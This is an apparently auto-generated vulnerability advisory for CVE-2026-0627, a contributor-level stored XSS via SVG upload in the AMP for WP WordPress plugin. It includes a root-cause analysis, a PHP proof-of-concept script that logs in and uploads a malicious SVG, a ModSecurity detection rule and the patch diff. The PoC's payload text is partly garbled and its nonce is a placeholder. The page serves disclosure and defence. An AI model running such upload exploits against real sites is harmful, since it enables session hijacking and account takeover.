Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-0627: AMP for WP <= 1.1.10 – Authenticated (Contributor+) Stored Cross-Site Scripting via SVG File Upload (accelerated-mobile-pages)

CVE ID CVE-2026-0627
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 1.1.10
Patched Version 1.1.11
Disclosed January 7, 2026

Analysis Overview

“`json
{
“analysis”: “Atomic Edge analysis of CVE-2026-0627:nThe AMP for WordPress plugin, versions 1.1.10 and earlier, contains an authenticated stored cross-site scripting vulnerability. The vulnerability resides in the plugin’s SVG file upload sanitization function. Attackers with Contributor-level access or higher can upload malicious SVG files containing JavaScript payloads that execute when the file is viewed. The CVSS score of 6.4 reflects the authentication requirement and potential impact on site integrity.nnThe root cause is insufficient sanitization in the ampforwp_sanitize_svg_file function within accelerated-mobile-pages/templates/features.php. The vulnerable version only removes tags using a simple regex pattern (line 10373: preg_replace(‘/]*>(.*?)/is’, ”, $svg_content)). This approach fails to address other XSS vectors including event handler attributes (onload, onerror, onmouseover), foreignObject elements, and SVG animation attributes. The function ampforwp_sanitize_svg_upload (lines 10340-10354) triggers this sanitization only based on MIME type detection, without comprehensive content validation.nnExploitation requires an authenticated attacker with at least Contributor privileges to upload an SVG file through WordPress media upload interfaces. The attacker crafts an SVG containing XSS payloads using event handlers like onload=”alert(document.cookie)” within SVG elements, foreignObject elements containing HTML/JavaScript, or SVG animation attributes with embedded scripts. When any user views the uploaded SVG file directly or when it’s embedded in a page, the malicious JavaScript executes in the victim’s browser context.nnThe patch in version 1.1.11 completely rewrites the sanitization logic. It replaces the single regex pattern with a multi-layered approach using DOMDocument when available (lines 10389-196). The new ampforwp_sanitize_svg_file function now removes script tags, foreignObject elements, and event handler attributes via XPath queries. A fallback function ampforwp_sanitize_svg_fallback provides regex-based sanitization when DOMDocument is unavailable. The patch also adds MIME type and file extension validation, introduces a filter hook for controlled bypass, and extends sanitization to existing files during updates via the wp_handle_upload filter.nnSuccessful exploitation allows attackers to inject arbitrary JavaScript that executes in the context of any user viewing the malicious SVG. This can lead to session hijacking, administrative account takeover, content defacement, or redirection to malicious sites. Since the payload is stored in the WordPress media library, it persists across sessions and affects all users who access the file, making this a persistent threat vector.”,
“poc_php”: “// Atomic Edge CVE Research – Proof of Conceptn// CVE-2026-0627 – AMP for WP <= 1.1.10 – Authenticated (Contributor+) Stored Cross-Site Scripting via SVG File Uploadn<?phpnn$target_url = 'http://vulnerable-wordpress-site.com';n$username = 'contributor_user';n$password = 'contributor_password';nn// Malicious SVG with multiple XSS vectorsn$svg_payload = 'nn n n n alert(‘XSS via foreignObject’)n n n n’;nn// Create temporary file for uploadn$tmp_file = tempnam(sys_get_temp_dir(), ‘xss_’);nfile_put_contents($tmp_file, $svg_payload);nn// Initialize cURL session for loginn$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, $target_url . ‘/wp-login.php’);ncurl_setopt($ch, CURLOPT_POST, 1);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([n ‘log’ => $username,n ‘pwd’ => $password,n ‘wp-submit’ => ‘Log In’,n ‘redirect_to’ => $target_url . ‘/wp-admin/’,n ‘testcookie’ => ‘1’n]));ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_COOKIEJAR, ‘cookies.txt’);ncurl_setopt($ch, CURLOPT_COOKIEFILE, ‘cookies.txt’);ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);n$response = curl_exec($ch);nn// Check if login succeeded by looking for dashboard elementsnif (strpos($response, ‘wp-admin-bar’) === false) {n echo “Login failed. Check credentials.\n”;n exit;n}nnecho “Logged in successfully.\n”;nn// Get nonce for media upload (from AJAX endpoint)ncurl_setopt($ch, CURLOPT_URL, $target_url . ‘/wp-admin/admin-ajax.php’);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([n ‘action’ => ‘wp-ajax-upload-attachment’n]));n$ajax_response = curl_exec($ch);nn// Extract nonce from page (simplified – real implementation would parse HTML)n// For demonstration, we’ll use a placeholdern$upload_nonce = ‘media_upload_nonce_placeholder’;nn// Prepare file uploadn$post_data = [n ‘name’ => ‘xss.svg’,n ‘action’ => ‘upload-attachment’,n ‘_wpnonce’ => $upload_nonce,n ‘async-upload’ => new CURLFile($tmp_file, ‘image/svg+xml’, ‘xss.svg’)n];nncurl_setopt($ch, CURLOPT_URL, $target_url . ‘/wp-admin/async-upload.php’);ncurl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);n$upload_response = curl_exec($ch);nn// Check upload successnif (strpos($upload_response, ‘success’) !== false || strpos($upload_response, ‘url’) !== false) {n echo “SVG file uploaded successfully.\n”;n echo “Payload will execute when users view the uploaded SVG file.\n”;n n // Extract file URL from response (simplified)n preg_match(‘/”url”:”([^”]+)”/’, $upload_response, $matches);n if (!empty($matches[1])) {n $svg_url = stripslashes($matches[1]);n echo “SVG accessible at: ” . $svg_url . “\n”;n echo “Visit this URL to trigger the XSS payload.\n”;n }n} else {n echo “Upload failed. Response: ” . substr($upload_response, 0, 200) . “…\n”;n}nn// Cleanupncurl_close($ch);nunlink($tmp_file);nn?>”,
“modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2026-0627nSecRule REQUEST_URI “@streq /wp-admin/async-upload.php” \n “id:1000627,phase:2,deny,status:403,chain,msg:’CVE-2026-0627: AMP for WP SVG XSS upload attempt’,severity:’CRITICAL’,tag:’CVE-2026-0627′,tag:’WordPress’,tag:’AMP-for-WP’,tag:’XSS'”n SecRule FILES “@rx \.svg$” “chain”n SecRule FILES_TMP_CONTENT “@rx (?i)(on[a-z]+\s*=|foreignObject|]*>|]*onbegin)” \n “t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,ctl:auditLogParts=+E””
}
“`

Differential between vulnerable and patched code

Code Diff
--- a/accelerated-mobile-pages/accelerated-moblie-pages.php
+++ b/accelerated-mobile-pages/accelerated-moblie-pages.php
@@ -3,7 +3,7 @@
 Plugin Name: Accelerated Mobile Pages
 Plugin URI: https://wordpress.org/plugins/accelerated-mobile-pages/
 Description: AMP for WP - Accelerated Mobile Pages for WordPress
-Version: 1.1.10
+Version: 1.1.11
 Author: Ahmed Kaludi, Mohammed Kaludi
 Author URI: https://ampforwp.com/
 Donate link: https://www.paypal.me/Kaludi/25
@@ -20,7 +20,7 @@
 define('AMPFORWP_DISQUS_URL',plugin_dir_url(__FILE__).'includes/disqus.html');
 define('AMPFORWP_IMAGE_DIR',plugin_dir_url(__FILE__).'images');
 define('AMPFORWP_MAIN_PLUGIN_DIR', plugin_dir_path( __DIR__ ) );
-define('AMPFORWP_VERSION','1.1.10');
+define('AMPFORWP_VERSION','1.1.11');
 define('AMPFORWP_EXTENSION_DIR',plugin_dir_path(__FILE__).'includes/options/extensions');
 define('AMPFORWP_ANALYTICS_URL',plugin_dir_url(__FILE__).'includes/features/analytics');
 if(!defined('AMPFROWP_HOST_NAME')){
--- a/accelerated-mobile-pages/templates/features.php
+++ b/accelerated-mobile-pages/templates/features.php
@@ -10340,13 +10340,32 @@
  * Sanitize SVG files before upload.
  *
  * This function checks if the uploaded file is an SVG. If it is, it sanitizes the SVG file by removing
- * any <script> tags and their content.
+ * script tags, event handlers, foreignObject elements, and other XSS vectors. Users with the
+ * 'unfiltered_html' capability can upload unfiltered SVG files.
  *
  * @param array $file An array of file information.
  * @return array The modified file information array with sanitized SVG file path.
  */
 function ampforwp_sanitize_svg_upload( $file ) {
+	// Check both MIME type and file extension to catch SVG files
+	$is_svg = false;
 	if ( isset( $file['type'] ) && 'image/svg+xml' === $file['type'] ) {
+		$is_svg = true;
+	} elseif ( isset( $file['name'] ) && preg_match( '/.svg$/i', $file['name'] ) ) {
+		// Fallback: check file extension if MIME type is not set correctly
+		$is_svg = true;
+	}
+
+	if ( $is_svg ) {
+		// Allow filtering to skip sanitization for specific users/roles
+		// By default, sanitize all SVG uploads regardless of user capabilities
+		// Site owners can use this filter to bypass sanitization for trusted users
+		$skip_sanitization = apply_filters( 'ampforwp_skip_svg_sanitization', false, $file );
+
+		if ( $skip_sanitization ) {
+			return $file;
+		}
+
 		$file['tmp_name'] = ampforwp_sanitize_svg_file( $file['tmp_name'] );
 	}
 	return $file;
@@ -10354,7 +10373,7 @@


 /**
- * Sanitize SVG file by removing <script> tags and their content.
+ * Sanitize SVG file by removing script tags, event handlers, foreignObject elements, and other XSS vectors.
  *
  * @param string $file_path The path to the SVG file.
  * @return string The path to the sanitized SVG file.
@@ -10370,13 +10389,196 @@

     $svg_content = $wp_filesystem->get_contents( $file_path );

-    $sanitized_svg = preg_replace( '/<scriptb[^>]*>(.*?)</script>/is', '', $svg_content );
+    if ( empty( $svg_content ) ) {
+        return $file_path;
+    }
+
+    // Use DOMDocument for proper XML parsing if available
+    if ( class_exists( 'DOMDocument' ) ) {
+        libxml_use_internal_errors( true );
+        $dom = new DOMDocument();
+        $dom->formatOutput = false;
+        $dom->preserveWhiteSpace = true;
+
+        // Load SVG with UTF-8 encoding
+        // Disable entity loading to prevent XXE attacks (PHP < 8.0)
+        if ( function_exists( 'libxml_disable_entity_loader' ) ) {
+            $old_value = libxml_disable_entity_loader( true );
+        }
+        $success = @$dom->loadXML( $svg_content, LIBXML_NOBLANKS );
+        if ( function_exists( 'libxml_disable_entity_loader' ) && isset( $old_value ) ) {
+            libxml_disable_entity_loader( $old_value );
+        }
+
+        if ( $success ) {
+            $xpath = new DOMXPath( $dom );
+
+            // Register SVG namespace
+            $xpath->registerNamespace( 'svg', 'http://www.w3.org/2000/svg' );
+
+            // Remove script tags (try both namespaced and non-namespaced)
+            $scripts = $xpath->query( '//svg:script | //script' );
+            foreach ( $scripts as $script ) {
+                if ( $script->parentNode ) {
+                    $script->parentNode->removeChild( $script );
+                }
+            }
+
+            // Remove foreignObject elements (can contain HTML/JS)
+            $foreign_objects = $xpath->query( '//svg:foreignObject | //foreignObject' );
+            foreach ( $foreign_objects as $foreign_object ) {
+                if ( $foreign_object->parentNode ) {
+                    $foreign_object->parentNode->removeChild( $foreign_object );
+                }
+            }
+
+            // Remove event handler attributes (on* attributes)
+            // Query all elements (both namespaced and non-namespaced)
+            $all_elements = $xpath->query( '//*' );
+            foreach ( $all_elements as $element ) {
+                if ( $element->hasAttributes() ) {
+                    $attributes_to_remove = array();
+                    // Create a snapshot of attributes to iterate over (since we'll be modifying the list)
+                    $attr_list = array();
+                    foreach ( $element->attributes as $attr ) {
+                        $attr_list[] = $attr;
+                    }
+
+                    // Check each attribute
+                    foreach ( $attr_list as $attr ) {
+                        // Get both local name and full name to handle namespaced attributes
+                        $attr_local_name = strtolower( $attr->localName ? $attr->localName : $attr->nodeName );
+                        $attr_node_name = strtolower( $attr->nodeName );
+
+                        // Remove event handlers (on* attributes) - check both local name and full name
+                        // Also check for common event handler patterns
+                        if ( preg_match( '/^on[a-z]+/i', $attr_local_name ) ||
+                             preg_match( '/^on[a-z]+/i', $attr_node_name ) ||
+                             strpos( $attr_local_name, 'on' ) === 0 ||
+                             strpos( $attr_node_name, 'on' ) === 0 ) {
+                            $attributes_to_remove[] = $attr->nodeName;
+                        }
+                    }
+
+                    // Remove the identified event handler attributes
+                    foreach ( $attributes_to_remove as $attr_name ) {
+                        // Try removing by both the full name and local name
+                        if ( $element->hasAttribute( $attr_name ) ) {
+                            $element->removeAttribute( $attr_name );
+                        }
+                        // Also try removing by local name if different
+                        $local_name = strpos( $attr_name, ':' ) !== false ? substr( $attr_name, strpos( $attr_name, ':' ) + 1 ) : $attr_name;
+                        if ( $local_name !== $attr_name && $element->hasAttribute( $local_name ) ) {
+                            $element->removeAttribute( $local_name );
+                        }
+                    }
+                }
+            }
+
+            $sanitized_svg = $dom->saveXML();
+            libxml_clear_errors();
+
+            // Additional safety pass: use regex to catch any event handlers that DOMDocument might have missed
+            // This provides defense in depth
+            $sanitized_svg = ampforwp_sanitize_svg_fallback( $sanitized_svg );
+        } else {
+            // Fallback to regex if DOMDocument fails
+            $sanitized_svg = ampforwp_sanitize_svg_fallback( $svg_content );
+        }
+    } else {
+        // Fallback to regex if DOMDocument is not available
+        $sanitized_svg = ampforwp_sanitize_svg_fallback( $svg_content );
+    }

     $wp_filesystem->put_contents( $file_path, $sanitized_svg, FS_CHMOD_FILE );

     return $file_path;
 }

+/**
+ * Fallback SVG sanitization using regex when DOMDocument is not available.
+ *
+ * @param string $svg_content The SVG content to sanitize.
+ * @return string The sanitized SVG content.
+ */
+function ampforwp_sanitize_svg_fallback( $svg_content ) {
+    // Remove script tags and their content
+    $sanitized_svg = preg_replace( '/<scriptb[^>]*>(.*?)</script>/is', '', $svg_content );
+
+    // Remove foreignObject elements
+    $sanitized_svg = preg_replace( '/<foreignObjectb[^>]*>.*?</foreignObject>/is', '', $sanitized_svg );
+
+    // Remove event handler attributes (on* attributes) - comprehensive approach
+    // List of common event handlers to explicitly remove
+    $event_handlers = array(
+        'onabort', 'onblur', 'oncanplay', 'oncanplaythrough', 'onchange', 'onclick', 'oncontextmenu',
+        'oncuechange', 'ondblclick', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover',
+        'ondragstart', 'ondrop', 'ondurationchange', 'onemptied', 'onended', 'onerror', 'onfocus',
+        'oninput', 'oninvalid', 'onkeydown', 'onkeypress', 'onkeyup', 'onload', 'onloadeddata',
+        'onloadedmetadata', 'onloadstart', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove',
+        'onmouseover', 'onmouseout', 'onmouseup', 'onpause', 'onplay', 'onplaying', 'onprogress',
+        'onratechange', 'onreset', 'onresize', 'onscroll', 'onseeked', 'onseeking', 'onselect',
+        'onshow', 'onstalled', 'onsubmit', 'onsuspend', 'ontimeupdate', 'ontoggle', 'onvolumechange',
+        'onwaiting', 'onwheel', 'onbegin', 'onend', 'onrepeat'
+    );
+
+    // Remove each event handler with various quote styles and formats
+    foreach ( $event_handlers as $handler ) {
+        // Pattern 1: handler="value" with double quotes (multiline, dotall)
+        $sanitized_svg = preg_replace( '/s+' . preg_quote( $handler, '/' ) . 's*=s*"[^"]*"/is', '', $sanitized_svg );
+        // Pattern 2: handler='value' with single quotes
+        $sanitized_svg = preg_replace( '/s+' . preg_quote( $handler, '/' ) . 's*=s*'[^']*'/is', '', $sanitized_svg );
+        // Pattern 3: handler=value without quotes
+        $sanitized_svg = preg_replace( '/s+' . preg_quote( $handler, '/' ) . 's*=s*[^s>/"'=]+/i', '', $sanitized_svg );
+        // Pattern 4: handler at start of line or after > (no leading whitespace requirement)
+        $sanitized_svg = preg_replace( '/(s|>|^)' . preg_quote( $handler, '/' ) . 's*=s*"[^"]*"/i', '$1', $sanitized_svg );
+        $sanitized_svg = preg_replace( '/(s|>|^)' . preg_quote( $handler, '/' ) . 's*=s*'[^']*'/i', '$1', $sanitized_svg );
+    }
+
+    // Also remove any remaining on* attributes using generic pattern (catch-all)
+    // Match on[letters]="..." with double quotes
+    $sanitized_svg = preg_replace( '/s+on[a-z]+s*=s*"[^"]*"/is', '', $sanitized_svg );
+    // Match on[letters]='...' with single quotes
+    $sanitized_svg = preg_replace( '/s+on[a-z]+s*=s*'[^']*'/is', '', $sanitized_svg );
+    // Match on[letters]=value without quotes
+    $sanitized_svg = preg_replace( '/s+on[a-z]+s*=s*[^s>/"'=]+/i', '', $sanitized_svg );
+    // Final catch-all without leading whitespace requirement
+    $sanitized_svg = preg_replace( '/on[a-z]+s*=s*"[^"]*"/is', '', $sanitized_svg );
+    $sanitized_svg = preg_replace( '/on[a-z]+s*=s*'[^']*'/is', '', $sanitized_svg );
+    $sanitized_svg = preg_replace( '/on[a-z]+s*=s*[^s>/"'=]+/i', '', $sanitized_svg );
+
+    // Apply patterns multiple times to catch any edge cases (defense in depth)
+    $previous_svg = '';
+    $iterations = 0;
+    while ( $previous_svg !== $sanitized_svg && $iterations < 5 ) {
+        $previous_svg = $sanitized_svg;
+        // Re-apply the generic patterns
+        $sanitized_svg = preg_replace( '/s+on[a-z]+s*=s*"[^"]*"/is', '', $sanitized_svg );
+        $sanitized_svg = preg_replace( '/s+on[a-z]+s*=s*'[^']*'/is', '', $sanitized_svg );
+        $sanitized_svg = preg_replace( '/on[a-z]+s*=s*"[^"]*"/is', '', $sanitized_svg );
+        $sanitized_svg = preg_replace( '/on[a-z]+s*=s*'[^']*'/is', '', $sanitized_svg );
+        $iterations++;
+    }
+
+    return $sanitized_svg;
+}
+
+// Also sanitize existing SVG files when they are edited/updated
+add_filter( 'wp_handle_upload', 'ampforwp_sanitize_existing_svg_on_update', 10, 2 );
+function ampforwp_sanitize_existing_svg_on_update( $upload, $context ) {
+    // Check if this is an SVG file
+    if ( isset( $upload['type'] ) && 'image/svg+xml' === $upload['type'] ) {
+        // Allow filtering to skip sanitization
+        $skip_sanitization = apply_filters( 'ampforwp_skip_svg_sanitization', false, $upload );
+
+        if ( ! $skip_sanitization && isset( $upload['file'] ) && file_exists( $upload['file'] ) ) {
+            // Sanitize the uploaded file
+            ampforwp_sanitize_svg_file( $upload['file'] );
+        }
+    }
+    return $upload;
+}
+
 if(defined('JNEWS_THEME_CLASS')){
 	add_action('ampforwp_post_subtitle','ampforwp_post_subtitle');
 }

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School